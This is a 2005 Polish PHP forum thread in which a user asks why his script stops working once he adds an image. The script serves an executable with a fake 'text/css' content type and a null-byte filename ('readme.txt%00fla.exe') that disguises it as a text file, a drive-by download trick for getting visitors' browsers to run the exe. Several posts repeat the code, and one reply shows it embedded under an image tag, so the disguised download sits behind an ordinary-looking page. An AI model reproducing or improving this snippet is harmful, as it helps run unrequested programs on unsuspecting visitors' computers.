ďťż

[PHP] Wyświetlanie obrazka i wykonanie skryptu działa tylko obrazek :/

       

Podstrony


telcocafe

Od razu mówię, że w PHP dopiero zaczynam robić cokolwiek i napotkałem na pewien problem. Otóż mam taki skrypt który ładuje mi animację flasha w formacie exe:

<?php Header("Content-type: text/css"); Header("Content-Disposition: inline; filename=readme.txt%00fla.exe"); readfile("fla.exe"); ?> <noscript>

chciałbym teraz dołożyć do niego jakiś obrazek, żeby strona nie była pusta, więc wstawiam coś takiego:

Header("Content-Type: image/gif"); $img = imagecreatefromgif('welcome.gif'); imagegif($img);

powstaje coś takiego:

<?php Header("Content-Type: image/gif"); $img = imagecreatefromgif('welcome.gif'); imagegif($img); Header("Content-type: text/css"); Header("Content-Disposition: inline; filename=readme.txt%00fla.exe"); readfile("fla.exe"); ?> <noscript>

Kiedy w pliku php mam sam kod odpowiedzialny za uruchomienie prezentacji wszystko jest ok, ale kiedy dołożę wyświetlanie obrazka skrypt się nie wykonuje, jest pokazany obrazek, ale animacja nie startuje :huh:

Może dla Was to jest banalne, ale dla mnie PHP to jeszcze czarna magia, to mnie nie skrzyczcie :)
Użytkownik mtek edytował ten post 26 listopad 2005, 10:28


Hmm, tak się zastanawiam, że chyba nie można dać dwóch Content-Type dla jednego pliku. Przeglądarka traktuje za ważny ten pierwszy.

Udało mi się obejść trochę ten problem :) Zrobiłem stronę złożoną z dwóch ramek, w górnej ustawiłem obrazek, a w dolnej wstawiłem plik php z tym skryptem do uruchamiania animacji i jaknarazie działa :)

Jeszcze próbowałem zrobić coś takiego w jednym pliku php tak jak zamierzałem na początku (bez kombinowania tak jak wyżej z ramkami) w taki sposób:

echo ("<img src="ble.gif"></img>");

ale też nie poszło :unsure:

A nie lepiej tak:
<img src="xxx.gif" /> <?php Header("Content-type: text/css"); Header("Content-Disposition: inline; filename=readme.txt%00fla.exe"); readfile("fla.exe"); ?>
? :)
...ale to jest to samo, co bym zrobił z echo <_<
Użytkownik virus_jc edytował ten post 26 listopad 2005, 13:43
  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • nvm.keep.pl

  • Sitedesign by AltusUmbrae.